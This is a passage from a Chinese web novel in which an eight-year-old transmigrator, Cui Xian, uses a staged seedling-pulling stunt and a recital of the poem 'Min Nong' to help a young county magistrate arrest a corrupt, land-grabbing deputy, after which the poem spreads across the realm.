崔岘很是暖心。 他向裴坚几人摇头,示意自己无事,正准备说话,却瞧见远处有大量的人群,浩浩荡荡再次赶来。 隐约还能瞧见其中县太爷的官轿。 大势已成! 崔岘狠狠松了口气,随后高声笑道:“诸位兄弟同窗们好,我便是崔岘!感谢诸位今日来相助,此事了却后,回到南阳县城,我做东请大家吃席面!” “但,坏人还没有被打走!咱们还得如虹猫少侠那般,开启战斗!” “我向各位保证,今日大家不仅能得到摩喉罗,且能体会一场锄奸惩恶的少侠快意之事!” “不仅如此,今日所有参与此事的兄弟,必定会成就一番美谈佳话。你们的爹娘,师长,甚至万千百姓们,都会为你们喝彩鼓掌。” “各位虹猫少侠们,可否愿意?” 哇! 这一番话,把一帮小小少年们说的热血沸腾,眼睛发亮。 其中一人没忍住激动道:“崔岘兄,你且说,我们要怎么做!” 崔岘笑道:“自然是拔苗!但各位且注意了,佯装拔苗便好,可别真拔了,我家还得吃饭呢。” 啊? 听闻这话,一众学子面面相觑,却狐疑照做。 田间地头。 一帮大人们正因这群半大小子的到来而呆滞,没反应过来。 便见,更多马车、人群,成群结队赶来了河西村。 众人看得嘴巴张的老大,娘嘞,这是发生了什么? 远远看去,竟全都是人! 赵家一位家丁眼尖,眯起眼睛瞧了片刻,脸色一变:“是叶县令,他怎么来了?” 赵志闻言神情一冷。 崔家那小子故意拖延,就是为了等叶怀峰吧! 早知——罢了,多说无益,就算是叶怀峰来了又如何? 他赵志,何惧之有! 叶怀峰乘坐轿子来到河西村田地外,远远瞧见一帮身穿儒衫的稚童们,在田地里弯腰‘拔苗’,当即吓得脸色发白。 跟在叶县令身后赶来的百姓们纷纷议论。 县学的学子们,同样脸色铁青,若非县太爷在,早就恨不得冲过去好生揍一番自家逆子。 而跟着大部队赶来的吴夫子,更是拳头都硬了。 这帮胆大包天的玩意儿,竟然闹出这么大的场面,这可该怎么收场啊! 当河西村百姓们瞠目的时候。 崔家人总算安定了很多。 救兵来了啊! 众目睽睽之下,老崔氏当场大声哀嚎。 而后踉跄着朝县太爷的官轿跑去,一边跑一边抹眼泪:“青天大老爷,请您要为民妇做主啊!这青天白日的,赵家竟然要抢夺我……呃??” “大川?” 老崔氏是真伤心呐。 虽然今日是在设计赵家,可被欺负到这种程度,岂能不憋屈!岂能不难受! 她一边哭,一边跑到县太爷的轿子附近,就准备下跪磕头。 结果,等瞧见从轿子里下来的‘青天大老爷’之后,老崔氏傻了。 这不大川吗? 因为过于震惊,她一时间连眼泪都给硬生生憋没了。 叶怀峰听见这声‘大川’,只觉得尴尬到脚趾扣地,强忍住羞耻,沉声道:“你有何冤情?上前来陈述。” 67、作诗《悯农二首》(下) 这是叶县令夺权成功后,第一次在公众露脸,本该是威风八面的县太爷。 实际上,却尴尬羞耻到直接社死。 但,这么多人盯着呢,他必须绷住了! 什么大川? 我……不,本官不知啊。 好在老崔氏反应极快,听到叶怀峰的话,顿时回过神来—— 好家伙,在衙门里当差的大川,竟然是县太爷! 难怪岘哥儿会如此有把握呢。 既然连县太爷都是自己人,老崔氏有什么好怕的! 她当即跪下,继续哭嚷道:“启禀青天大老爷,那县丞赵志欺人太甚,欲用一文钱,强行买下我家三十亩田地!还要把我们一家人送去徭役场开荒!” “求您为我家做主啊!” 陈氏、林氏虽然也震惊于大川变成了县太老爷,但纷纷跟着婆母跪下,一起抹眼泪。 叶怀峰听闻这话,脸色微变:“竟有此事?” 而老崔氏这话,也让周围来围观的大量百姓们一片哗然。 不是看小先生们拔苗的吗? 怎地突然还出来一桩官司。 而且,一文钱买走人家三十亩田地,当真黑心呐! 如此荒谬可恶之事,但一想到是赵家所为,众人眼睛里浮现出厌恶与了然。 纵观南阳县,谁不知赵家权势滔天? 然而。 面对在场无数人如刀子般的目光。 赵志怡然不惧,冷笑道:“纯属无稽之谈!你家自愿卖地,我家前来购买,钱货两讫、纯属自愿,何来欺人太甚一说?” 哗! 听到这无耻至极的话,在场百姓无不哗然。 叶怀峰也被气的不行,恶狠狠看向赵志:“放肆!本官面前休得无礼!赵志,我且问你,你是否威逼利诱,准备强买百姓家的田地?” “甚至不惜以服徭役相逼迫?” 赵志眯起眼睛,看向叶怀峰,冷笑道:“一派胡言!你虽是县太爷,但说话也要讲究证据。” “我赵志清清白白,为南阳百姓劳心出力,县太爷讲话之前,最好想清楚了再说。否则——哼!” 好大的官威,好猖狂的姿态! 当着这么多人的面,竟然都敢一点面子不给县太爷,可见此人有多嚣张。 但,赵家作为乡绅之首,协理官府收纳粮税、治理一方安定。 他不仅代表着赵家。 更代表着整个南阳乡绅,这是一个隐形的‘阶级群体’。 正所谓:皇权不下县。 双方一旦撕破脸,县衙的各项政策,想要继续推进,就会受到极大地阻碍。 叶怀峰脸色涨的通红,咬牙切齿道:“赵志,你莫要猖狂!且等本官拿到证据,定然不会放过你!” 赵志无所畏惧:“那便等县太爷拿到证据再说吧。” 他话音落下。 从人群中,又冲出来一群神情惨淡、衣衫褴褛的百姓。 正是那些被兼并土地的村民们赶到了。 “县太爷,求您为我们做主啊。” “那赵志也是用一文钱,买走了我家的数十亩田地。” “赵志,你该死,你该死啊!” 这群村民们在叶怀峰面前跪下,神情凄厉诉说冤情。 那位曾经在赵府外,向崔钰哭诉的老妪,满脸狰狞的看向赵志,恨声道:“赵志,你还记得我吗?你怕是记不得吧!” “但我记得你!我这辈子,下辈子都会记得你!我家那四十亩田地,全被你夺了去。” “我的大儿子,被你送去服徭役,死在徭役场。我的二儿子,小儿子,被你派人活活打死。” “我的三个儿媳妇先后饿死,然后孙子孙女饿死!全家11口人,就我一人还活着!赵志,你这个狗官,我诅咒你不得好死啊!” 这话,让周围无数百姓动容,目露不忍。 叶怀峰更是勃然大怒。 可面对这般质问,赵志竟一点愧色也无,转头看向自家的家仆。 在无数哗然声中。 一位赵家的家仆,一把将那老妪推倒在地,警告道:“死老太婆,莫要胡说八道,你这是在污蔑朝廷命官。” 老妪猝不及防被推倒,发出剧烈的咳嗽。 赵志则是准备乘车返回,还不忘瞥了一眼周围大量百姓,讥讽看向叶怀峰:“县太爷弄出这般大阵仗,难道就是为了来自取其辱?” “我还是那句话,当官断案要讲究证据,你以为是在过家家?” “或者,你莫不是打算如当日在知府衙门撒泼一般,也在这里再撒泼一场。好叫在场的百姓们看看,他们这位父母官的风采?” 叶怀峰气的脸色涨红,整个人都在哆嗦,可一时间却拿赵志半点办法也无。 等听到赵志说‘弄出这般大阵仗’,叶县令突然反应过来,看向崔家田地方向。 那日在崔家饭桌上,与崔岘交谈的话,再次浮现。 “岘弟,依你之见,为兄真的能拿下那二把手吗?” “自然可以,大川兄,你如今就缺一股东风。” 东风! 叶怀峰的眼睛骤然亮起来! 恰逢这时候。 田地里那一大群学子停下‘拔苗’,围拢着崔岘,朝着此处赶来。 他们所过之处,所有人都纷纷为他们让路。 他们是那么年轻、稚嫩。 但却半点不畏惧赵家权势,恶狠狠的瞪向赵志、以及赵家的家仆们。 学子们的最中间位置。 裴坚、李鹤聿、庄瑾、高奇四人,分别站在崔岘两侧,为他保驾护航。 赵志看向他们。 叶怀峰看向他们。 崔家人,河西村的百姓们看向他们。 更远处。 崔仲渊、崔伯山兄弟二人,和县学的学子们,以及吴清澜,和无数的百姓,也都看向他们。 此刻很多人都模糊的看懂了—— 似乎今日,表面上是这群小子们在‘揠苗助长’,实则另有所图啊! 但,那可是权势滔天的赵志。 就凭这群小子,能行吗? 在所有人的注视下。 崔岘从学子们当中走出来,他没有理会任何人,先是弯下腰,将那被推倒在地的老妪扶起来,轻声问道:“婆婆,你没事吧?” 老妪摇头,却没忍住失声痛哭,眼睛里满是浑浊的泪意,与哀切痛苦。 崔岘搀扶着老妪,抬起头来,看向叶怀峰。 叶怀峰和他对视。 这一刻,原本以为自己会觉得尴尬的叶县令,竟然发现自己并没有。 反而有些迫切。 他看向崔岘,在心里想。 这就是你说的东风吗? 如果是的话,那就点一把火,乘借东风,让大火烧起来吧! 而后,就如叶怀峰期盼的那样。 下一刻。 崔岘亲手点燃起了这把火。 众目睽睽之下,他站起来,目光在周围众多人脸上扫过,大声道:“小子崔岘,今日作了一场闹剧,让诸位跟着看了一场笑话。” “我知道,如今人人笑话我读书读傻了,妄图揠苗助长,收获粮食。” “可诸位也看到了,赵志以势相逼,小子实在无法!” “《孟子·公孙丑上》篇有言:宋人有闵其苗之不长而揠之者,芒芒然归,谓其人曰:今日病矣!予助苗长矣!” “在场父老乡亲可能不懂其意,但其实说来也简单,小子今日揠苗助长,做的便是这般糊涂事。” “承蒙夫子教导,小子得以在学堂安心读书。夫子教导这篇内容时,细心相教,传授其意。” “是小子自己自作主张,做出这番揠苗助长之事,惹来无数笑料,也让我的夫子蒙羞。” 这个年代,最讲究名声。 揠苗助长一事,过于荒谬,作为学生,崔岘不能害了吴夫子。 所以他要当众把此事点明。 不仅不能害了吴夫子,他还要借今日之事,替吴夫子扬名! 果然。 听到崔岘这番话。 原本还有怒意的吴清澜愣住了,接着他毫不犹豫站了出来。 在无数质疑、嘲讽声中,站了出来! 吴清澜走向崔岘,看向自己最满意的学生,傲然说道:“诸位,我便是吴清澜,是眼前这位做出揠苗助长的、荒唐学子的夫子。” “但,我眼中的崔岘,他聪慧、敏捷、满身才气,小小年纪便自有其笔墨风骨。他,也是我骄傲。” 说到这里。 吴清澜看向崔岘,笑道:“所以我的意思是说,崔岘,莫怕。一切有为师在,你且细细将前因后果说出来。” 崔岘看向吴清澜,请教道:“夫子,揠苗助长一事,无数人当做笑谈。” “学生读了圣贤书,可当遇见滔天灾祸之时,却无力自保。甚至痴心妄想,真想效仿那被当做笑料的痴人,揠苗助长,收获粮食。” “学生斗胆请问,我读这圣贤书,有何用?若揠苗助长不再是笑谈,落在你我身上,何解?” 那一刻,很多人都沉默了。 在场的无数百姓或许还在茫然。 但吴清澜、叶怀峰,以及崔仲渊、崔伯山,和那群县学的学子,都满脸震撼。 万万没想到,看似荒谬的揠苗助长,用血与泪解读出来,竟如此残酷。 吴清澜沉默许久。 而后他看向周围无数的百姓,突然就懂了学生的意思。 妙哉妙哉! 崔岘,老夫的好学生,当真有一颗七窍玲珑心啊! 吴夫子抬起头来,看向崔岘,看向崔岘身后那群裴氏族学的学子,颤声道:“好孩子,这个问题,为师曾经问过你们,当时你们不会回答。但……” 说到这里。 吴清澜数次哽咽,强忍住泪意继续道:“但当时崔岘曾经回答了这个问题,你们谁还记得?” 这一次。 崔岘站直了身体。 裴坚、李鹤聿、高奇、庄瑾,以及在场的无数裴氏族学的学子们,都抬起头来,站直了身体。 就像是在课堂上讲课那般。 吴清澜红着眼睛道:“裴坚,你来说。” 裴坚敢发誓,他这辈子,绝对没有上过这么一堂课。 他听懂了夫子的问题,甚至知道答案。 虽然此刻,他不在课堂上。 但课堂上学的知识,在这一刻,实现了教育的意义。 抬起头来努力和吴夫子对视,裴坚红着眼睛颤声说道:“当时,夫子问我们:纵横家言‘势’,《国策》中‘势’可借何物喻之?” “我们都回答不上来这个问题,但是唯有岘弟答上来了。” “他说:子曰:君子不器。” “故……故,真势在民心向背,非仅兵戈尔!” 是的! 真势在民心向背,非仅兵戈尔! 此话,宛如惊雷,让在场无数读书人心头巨震。 而裴坚、庄瑾,裴氏族学的学子们,和吴清澜一起,纷纷看向崔岘,眼含激动、期盼。 今‘兵戈’当前。 ‘民心’已聚。 那,‘势’呢? 势在《悯农》。 在无数目光的注视下,崔岘看向赵志,冷笑道:“赵志,你要证据,是吧?好,你且看着,听着!你以势压人,欺负百姓有口难言,无法同你辩驳。” “但你错了,因为这天下,有的是读书人,有的是文心脊梁,笔墨风骨!” “眼前这老婆婆,遭受你骇人磋磨,却无法向你讨个公道。但我不是,我读过书,我知道该怎么开口。” “她不会说,我来教她同你说。” 说罢。 在赵志不屑的注视下。 崔岘攥住那老妪的手,低头过去,轻声说了什么。 那老妪听在耳中,浑身一震,整个人眼泪一下子就流了出来。 什么是诗呢? 辞藻华丽,大气磅礴,是为诗。 妇孺皆懂,直指人心,也是诗! 那老妪没读过书,但却听懂了崔岘让她说的话。 于是,这位从未开蒙的老妪抹干净眼泪,颤声看向赵志:“赵志!这孩子刚刚作了两首诗,我虽大字不识,但我听懂了。” “所以,我想来问问你,你是否能听得懂。” “这两首诗的名字,叫做《悯农》。” 什么? 作诗了? 当场作诗? 听闻这话,在场无数人纷纷竖起耳朵。 老妪没读过书,记性也不好,于是崔岘低声说一句,她复述一句。 便见那老妪声音凄厉,字字泣血: “春种一粒粟,秋收万颗子。” 此前两句一出,叶怀峰、吴清澜等人眼睛骤然亮起来。 甚至一些未开蒙的百姓,都能听得懂。 然而接下来,老妪恶狠狠看向赵志,泣声质问道: “四海无闲田,农夫犹饿死。” 好一个:四海无闲田,农夫犹饿死! 为何农夫尤饿死? 还不是因为这世间,有大量‘赵志’之流? 老妪的话音还在继续,她一双眼睛死死盯着赵志,继续道:“还有,还有的!你听好了,狗官,你听好了!” “锄禾日当午,汗滴禾下土。” 就这么简短的一句,就仿佛让人看到无数百姓顶着烈日劳作,疲惫辛勤的场面。 能流传千古的名诗,越是简单,杀伤力越大。 大道至简! 自有其势! 那不仅仅是诗,更是无数穷苦百姓无声的呐喊,与怒吼。 “谁知盘中餐,粒粒皆辛苦?” 老妪念完了诗,自己却泣不成声。 她听懂了,她听懂了这两首诗啊! 吴清澜、叶怀峰等读书人,则是震撼的看向老妪身边的崔岘。 八岁,这孩子才八岁! 《悯农二首》一出,必定要扬名诗坛了啊! 而周围更多的百姓们,则是在互相传颂、复述这两首诗。 凡是听过此诗的内容后,百姓们都抬起头,齐齐愤怒看向赵志。 无形中,势在凝聚。 怒火在燃烧! 子曰:君子不器。 故,真势在民心向背,非仅兵戈尔! 68、诗坛震动,扬名天下 河西村。 绿油油的田野上。 众多的百姓们,在互相传颂着《悯农二首》。 伺候了一辈子庄稼的老汉,苍老眼睛里浮现出浑浊泪意。 满脸风霜的妇人,怔怔看向自己粗糙、尽是伤痕的手掌。 四海无闲田,农夫犹饿死! 对啊,这究竟是为何呢? 或许以前人们没想过,不知道。 但现在,每个人心中,都有了答案。 田间旷野之上,有风呜咽吹过。 庄稼簌簌摇摆。 代替沉默咬牙承受了一辈子苦难的老农,发出质问与怒吼! 一位身形佝偻的老翁颤巍巍站了出来,先是感激的看向崔岘。 而后,‘砰’的一声,双膝跪下。 他卑微的将身体与头颅贴在困住自己一生的庄稼地里,声嘶力竭、咬牙颤声嘶吼道:“草民恳求青天大老爷,为我等做主,拿下赵志!” 这句话,仿佛出征的号角。 霎时间,点燃了整片田野。 一位老实巴交,满身补丁的中年汉子,站了出来。 一位年轻的妇人,红着眼睛,牵着自家两个孩子,站了出来。 崔仲渊、崔伯山兄弟俩,和一群身穿襕衫的读书人们,站了出来。 满脸泪痕的老崔氏,跟河西村的百姓们,站了出来。 而后,人群如麦浪般纷纷跪倒在地。 无数道或苍老、或稚嫩的声音,先后响起。 “草民恳求青天大老爷,为我等做主,拿下赵志!” “草民恳求青天大老爷,为我等做主,拿下赵志!” 这一幕堪称震撼。 自上任以来,头一次接手案件的叶怀峰,看着跪倒在自己面前的无数百姓,怔怔无言。 同样被震撼到的,还有以裴坚为首的小学子们。 他们年纪还小,眉眼是那般稚嫩,或许在今日之前,根本不懂一粒饭背后的含义。 可今日,崔岘告诉他们:粒粒皆辛苦。 稚嫩的小学子们齐刷刷转头,看向被大家围拢在中心的崔岘,或敬佩、或崇拜,或振奋。 因为此刻的崔岘,在他们看来,简直神采飞扬,绚烂耀眼。 和虹猫少侠一样耀眼! 裴坚脸色涨的通红,整个人都激动的有些发抖,他看向崔岘,双眼直冒星光:“岘弟!你太厉害了,真的,无敌厉害!” “信手拈来,当场作诗,《悯农二首》听得我都想哭。” “大哥一时间想不出来用什么好词儿来夸你,但是你方才,实在潇洒不羁,满身侠气!实属我辈楷模。” 庄瑾、李鹤聿、高奇三人同样激动的脸色通红,只会疯狂跟着点头。 虽然大哥没文化。 但大哥愿意为你摇旗呐喊、冲锋陷阵! 因此,在裴坚的带领下。 一群模样稚嫩、嫉恶如仇的小学子们,同样站了出来。 他们声音清脆有力,宛如在课堂上朗朗诵书! “草民恳求青天大老爷,为我等做主,拿下赵志!” 这是民怨。 也是民愿! 在一片‘恳请拿下赵志’的愤怒嘶吼中,赵耀祖呆呆看着崔岘,眼睛里终于浮现出畏惧与颓败。 而本来还无所畏惧的县丞赵志,脸上头一次有了慌乱。 他察觉到了死亡的危险。 这些平日他向来不会放在眼里的刁民们,如今汇聚起来,个个朝他怒目而视。 被这些愤怒的目光盯着,赵志竟下意识后退了几步。 而后。 赵县丞反应过来,恶狠狠看向崔岘,色厉内荏道:“好,好的很呐!你不会天真的以为,做两首歪诗,便能给我定罪吧?” “本官乃八品县丞,经由吏部选拔……” 赵志的话没有说完,整个人便如遭雷击。 因为迎着赵志的目光,崔岘将一沓文书掏出来,冷笑道:“作诗自然不能给你定罪,但这些呢?你兼并土地、伪造脱户、销户、漏户的证据。” “白纸黑字写的清清楚楚,可能给你定罪?” 赵志脸色一下子就白了。 这些东西,他藏得极为隐秘,这崔家小子是如何拿到的? 而听闻崔岘竟然拿到了赵志土地兼并的罪证,无数百姓眼睛都亮起来,既惊喜,又敬佩。 这个孩子,当真了得。 英雄出少年啊! 怔愣的叶怀峰眼睛里迸射出精光,看向赵志,冷喝道:“赵志!现在你可还有什么好狡辩的?” 赵志深吸一口气,终于再无先前的嚣张。 但,他还有机会! 在众人不齿的注视下,便见赵志神情屈辱的朝着叶怀峰跪下,低声道:“下官糊涂,确实犯过一些错误。” “但我赵家名下产业众多,养活着无数百姓。恳请县太爷开恩明察,狠狠斥责下官,下官任您处置。” 说罢,赵志隐晦的抬头看向叶怀峰。 叶怀峰听懂了此人话里的暗示,心脏没来由噗通、噗通加速跳动。 那可是家财万贯的赵家啊! 如今被自己捏在手中。 只要睁一只眼闭一只眼,高高扬起轻轻落下,放此人一马,便能接手赵家的万贯家产! 良田、金银、美眷、大宅! 一切轻易唾手可得。 叶怀峰出身不好,凭借自己多年努力中了进士,做了县令。 但自己却是个糊涂蛋,做官做的窝囊,荷包自然也不富裕。 更不曾享受过奢靡生活。 这是他生平头一次,遇到金银财富主动入怀的机会! 要,还是不要? 叶怀峰承认,这一刻,他动摇了。 似是若有所感,与自己心中贪念做斗争的叶怀峰猛然抬头,看向崔岘。 崔岘的表情意味深长。 叶怀峰突然想起,那日在崔家饭桌上。 崔岘跟他说:“不过到那个时候,说不定大川兄你,或许又不想真拿下那二把手了,也未可知。” 当时,叶怀峰笑着摇头:怎么可能! 短短数日后。 他便懂了崔岘这话的含义。 这个才八岁的小小少年,竟对官场人心,洞察的如此彻底! 见叶怀峰动摇了。 赵志脸色微喜,跪着上前两步,继续道:“县太爷,求您了,下官一定任您处置!” 叶怀峰闭了闭眼,强迫自己冷静下来。 他不再看赵志,而是看向崔岘,看向崔岘身边眉眼稚嫩的学子们,看向远处跪倒在地的无数百姓们。 方才,吴清澜当着众人的面,在这片田野上,给学生们上了一堂课。 其实叶怀峰,也上了自己官场生涯的第一课。 原来十年寒窗苦读一朝进士及第,并非真正做官。 原来在知府衙门里撒泼,设法夺权政斗,坐稳县太爷的位置,也并非真正做官。 动动手指,生了贪念,轻易便能做个贪官。 可,如何做个好官呢? 要经历无数次扼制贪念,经历无数次修心,宛如一场场自我发起的残酷‘心劫’。 叶县令一直在沉默。 百姓们仿佛察觉到了什么,陡然安静下来。 裴坚等一众小学子们,也都安静下来。 包括崔岘,也没有开口说话,就这样看向叶怀峰。 在无数人的注视下。 “赵志,你说任由本官处置,对不对?好,你话里藏得机锋,本官听懂了。这真的很容易懂,本官真的听懂了。” 叶怀峰看向赵志,略显颤抖的说出这样一番话。 而后他一甩官袍,指着崔岘,指着在场无数百姓,神情略显激动:“可是本官也听懂了《悯农》,听懂了那老妪的泣声质问,听懂了百姓们的恳求,更听懂了这群小学子们的期盼。” “本官读了十多年的圣贤书,这是本官穿上的第一件官袍,得以受无数百姓拥戴,喊本官一声青天大老爷!” “本官先前浑浑噩噩来上任,被你掣肘碌碌无为,甚至从未想过,该怎么做这个官。” “但今日,本官耳边《悯农二首》声声回荡,眼前百姓殷切期盼。本官为政一方,理应庇佑一方平安。又怎能受你诱惑贿赂,便忘却本心?” 听闻这话。 赵志脸色猛然变得难堪。 而一群百姓们则是眼睛骤然亮起。 裴坚等年轻的学子们,更是兴奋的握拳。 他们在等,等‘青天大老爷’,为赵志的命运,写下结局。 众目睽睽之下。 便见叶县令涨红着脸,朗声道:“赵志!你草菅人命、鱼肉乡里,兼并土地。犯下滔天罪行!本官今日,将你缉拿归案,交由上官审判!” 说罢。 他一甩袖袍指向赵志:“来人,卸掉此人官袍,将其拿下!” “是!” 一帮差役们手持‘水火棍’,霎时将赵志缉拿! 田野上有片刻的沉默。 随后,响起无数百姓们震天的欢呼声。 崔岘露出笑容。 而裴坚、高奇、李鹤聿、庄瑾等人,则是带着一帮学子,激动的上蹿下跳鼓掌高呼。 “县太爷威武!” “县太爷潇洒不羁!” “县太爷太帅了!” 叶县令在一片片欢呼声中激动傻笑,逐渐迷失自我,眼眶微微发红。 他才27岁,第一次做官。 他也年轻着。 他的血,也一样是热的啊! 隔着欢呼的人群,叶怀峰与崔岘对视,眼睛里都是笑意。 而后,叶怀峰命人将赵志押解,返回南阳。 大量的百姓们,则是纷纷来感谢崔岘。 今日能拿下赵志,全凭这孩子啊! 于是。 裴坚等一众小学子们,将崔岘围在中间。 大量的百姓们,则是把这群小学子围在中间。 人群浩浩荡荡,返回南阳。 老崔氏等崔家人,看着这一幕,激动到不停淌眼泪。 成功了,他们成功了! 他们一家人齐心协力,保护住了崔家啊! 而更多的读书人们,则是激动的乘坐马车返回南阳,在各个族学,甚至去县学,宣扬《悯农二首》。 “诸位同窗兄台们,揠苗助长一事,纯属误会,此事另有隐情!” “你们且来看看这《悯农二首》,乃那八岁神童崔岘,当场斥责狗官赵志所作!” “四海无闲田,农夫犹饿死!好,好啊!” “如此振聋发聩之诗,竟是一八岁稚童所作?此子大才啊!” “赵志案件还未曾彻底尘埃落地,我辈读书人,应该站出来,将崔岘与《悯农二首》传唱颂扬。好叫天下读书人携手,用唾沫星子淹死那赵志,将其彻底钉在耻辱柱上!” “兄台所言极是,我这就将《悯农二首》摘录,送往开封府!” 数日后。 《悯农二首》出南阳,一路悍然传颂至开封府,再到大梁两京十三省,引发士林诗坛轰动。 不知道多少文人墨客,对着那两首诗,激动到手舞足蹈。 当得知《悯农》作者只有八岁之时,更是震撼到呆滞无言。 神童崔岘,名扬天下! 开封府。 收到信件的裴崇青打开后,怔怔读完《悯农二首》,激动到热泪盈眶:“谁知盘中餐,粒粒皆辛苦!好,好啊!” “崔岘,老夫知道你有诗才,但想不到,还是低估了你!” “好小子,且看老夫帮你造势,送你一场大造化!” 裴崇青虽然没有具体官职,但他在布政史大人麾下做幕僚啊! 布政史大人,那可是真正的封疆大吏,身穿二品绯袍的高官! 今河南布政史大人姓李名端,字宗正。 这李大人,人如其名,是出了名的刚正不阿,眼睛里揉不得沙子。 妥妥的‘实干派’。 这日。 当裴崇青把《悯农二首》呈上去后。 布政史衙房里突然传出来一声剧烈拍桌的声响,随后李端激动道:“好,好诗啊!四海无闲田,农夫犹饿死!崇青,此诗是哪位大家所作?” 裴崇青忍住笑意,骄傲说道:“启禀大人,此诗的作者名为崔岘,乃南阳一八岁稚童,如今只开蒙半年。属下这里还有他的另外一首诗《咏鹅》,以及他写的字帖。” 李端大为震撼。 甚至不敢相信自己的耳朵。 等看完《咏鹅》后,李大人浑身一震,直呼‘妙哉妙哉’。 再看完崔岘写的字帖,李大人激动到脸色通红:“此子有书圣之姿!” 裴崇青见李端这神情,便趁机把赵志作恶南阳一事,也就是《悯农二首》的创作背景,一一交代。 李端听后勃然大怒。 当即道:“岂有此理!如此大事,为何只有南阳县令出面断案?南阳知府何在?本官这就命其来开封述职!” “还有,速速去查明此事!本官要写奏疏,将赵志和《悯农二首》一起,上呈吏部!” 赵志虽说只是八品县丞。 但不管是叶怀峰县令,还是南阳同知、知府,甚至作为二品河南布政史的李端,都无法将其定罪。 要先整理其罪状。 由南阳递交到开封府,再由开封府递交吏部报备。 而后,督察院,或巡按御史派遣天官下来,布政使司作协同,调查罪责始末。 一切调查清晰后,再回传吏部定罪。 再然后,由吏部交由刑部,做最后的责罚。 这是一套清晰明确的流程,也是赵志先前怡然不惧叶怀峰的根本原因。 但有《悯农二首》在,这个案件一定会被当做典型来判。 甚至可以上达天听! 这首诗的作者,才八岁,此事一了,必定名扬诗坛、士林、甚至官场! 李端越想越觉得有这种可能。 那八岁的崔岘,未来成就不可估量啊。 刚好,师兄最近不是有意收一个关门弟子吗? 李端想了想,看向裴崇青:“那崔岘,如今在何处读书,可有拜师?实不相瞒,这孩子属实有天分,本官想将其推荐给我的师兄做弟子。” 李大人的师兄? 裴崇青一愣,随后神情激动到发颤:“敢问……可是曾官拜礼部侍郎,如今的士林名儒大家,师承次辅郑阁老的……东莱先生?” 老天,那可是享誉文坛,桃李满天下的儒道大家,东莱先生啊! 69、致我们年少灿烂的青春 这个年代,车马太慢。 纵然《悯农二首》振聋发聩,字字珠玑。 但传颂士林,也需要时间。 裴崇青收到信件,再呈给河南布政史李端。而后李大人打算将崔岘,推荐给自己的师兄东莱先生一事,已是在三日之后。 且说当日。 叶怀峰县令将赵志押解回南阳县城。 百姓们欢呼跟随,一路护送。 因有县学读书人先一步乘车返回,如今南阳城里,已有大量百姓收到消息。 赵志伏法,被县太爷当场缉拿! 那群揠苗助长的小先生们,非但没有闹出笑话,反而是大大的功臣。 尤其是《虹猫》《咏鹅》的作者,八岁神童崔岘。 不仅找到了赵志兼并土地的证据。 还当场作诗《悯农二首》,引得无数百姓含泪共情,齐齐恳求县太爷严惩赵志。 每一个听说此事的市井百姓,都眼含激动,神往不已。 直言后悔自己竟没有去跟着凑热闹,见识一番‘小神童当场作诗惩奸除恶’的风姿。 大梁王朝重文轻武,百姓们也对读书人格外推崇尊敬。 尤其是,当有人在大街上,把《悯农二首》念出来以后,许多百姓都听得十分动容。 生平头一次,大字不识的他们,竟读懂了这两首诗。 两首诗,八句话,漫漫一生心酸苦难啊! 因此。 当县太爷的轿子,和崔岘等一群‘小先生们’回城后,无数听闻此事的百姓们前来夹道相迎。 “青天大老爷威武!” “狗官赵志,你总算完蛋了,老天开眼啊!” “快瞧,那群小先生,一个个机灵聪明,看着就有出息哩。” “哪个是小神童崔岘?” “被小先生们围在中间位置,最白皙俊俏的那个。” “哎哟,果真俊俏!以后怕不是要做状元公咯。” 百姓们争先恐后踮起脚,只为目睹‘小神童’的姿容。 这其中自然也包括仲景巷的一些邻居,以及崔老头。 暂不提瞠目结舌,向周围人激动骄傲介绍‘那小神童崔岘住在我家巷子’的邻居们。 且说崔老头。 他本意是想等来老崔氏完蛋的消息,却不曾想,赵志那般厉害人物,竟然被捉拿了! 而且,老崔氏家的小孙子,还成了‘捉拿赵志’的神童英雄。 尤其是当县太爷的轿子经过,受无数百姓欢呼的叶县令,探出头来跟众人招手的时候。 崔老头悬着的心终于死了。 娘嘞,这不是当日去给老崔氏家送礼的那个青年吗? 此人竟然是县太爷,难怪自家女婿会突然下跪。 完了! 全完了啊! 崔老头吓得一屁股坐在地上,浑身哆嗦。 但,此时所有人都在欢呼庆祝,无人在意他。 长街上。 走在一群小学子中的裴坚脸色涨红,被夸得晕晕乎乎,只觉得舒爽到头皮发麻。 他傻笑着朝四周围拱手。 见身边李鹤聿身量太高,遮挡住了自己,还不满道:“鹤聿,你能不能走远一些。没听到周围百姓夸赞少爷我俊俏,都在看我呢。” 李鹤聿闻言大怒:“胡说八道,大家分明都是在看我,在夸我俊俏。” 其余小学子们都跟着哄笑。 崔岘无奈扶额,笑看着两位活宝斗嘴。 但不得不说,今日他们是真风光呐! 全城百姓夹道欢呼相迎,这样堪称恢弘的场面,很多人终其一生,也不见得能经历一次。 而如今他们这群被称赞的孩子,平均年纪只在十岁上下。 年轻的令人艳羡赞叹。 莫说裴坚、李鹤聿嘚瑟到无法自持。 其余小学子们,哪个不是脸蛋微红、羞赧骄傲,又带着傻笑。 想来十年、二十年、乃至数十年以后,他们都能记得今日这样盛大的场面。 那是他们虽已逝去,但却永远忘不掉的绚烂青春啊! 有道是:人永远无法同时拥有青春,和对青春的感受。 而作为穿越者,崔岘对此番话,更是深有体会。 今日,眼前这群年轻的学子们,出力帮了自己。 作为回馈,赠送摩喉罗、请吃酒席,是应该的。 但除此之外,崔岘还想再赠送他们一些别的东西。 当队伍走到城中,即将告别的时候。 “诸位同窗,且留步。今日承蒙诸位倾力相助,我们共同合力,最后才能惩奸除恶,让奸佞之人伏法。” “我知道,方才这一路走来,我们受到了太多百姓们的夸赞、颂扬。” “但我总觉得,似乎还缺了些什么。” 崔岘喊住一帮年轻的学子,而后在大家激动、惊喜、振奋的注视下。 他走到吴清澜面前,笑着说道:“夫子,你是不是还没有夸赞我们呢?” 哦豁! 就这么简单一句话,让在场无数学子们激动到不行。 裴坚脸色发红,当即第一个喊道:“对对,吴夫子,我们今天棒不棒!快快,夸我们几句。” 庄瑾也跟着大声道:“怪不得我总觉得少了点什么,岘弟一说,我就想起来了。吴夫子你怎么回事,我们做了这么多,你竟一句夸赞也没有。” 高奇也煞有介事‘批评’道:“是极是极,夫子,你有点太不懂事了!” 他们是真年轻,也是真嘚瑟啊。 一个个期盼看向吴夫子,眼睛亮亮的,满脸写着‘快夸我’、‘快夸我’。 若是他们有尾巴的话,估计此刻一个个都已经翘到天上去了! 结果。 在众人期盼的注视下,吴清澜竟举起手中的戒尺,严肃道:“你们还敢要夸赞?揠苗助长一事,虽说是崔岘万不得已做出来的。” “但你们竟然都没有提出半点质疑,当真气煞老夫。” 啊? 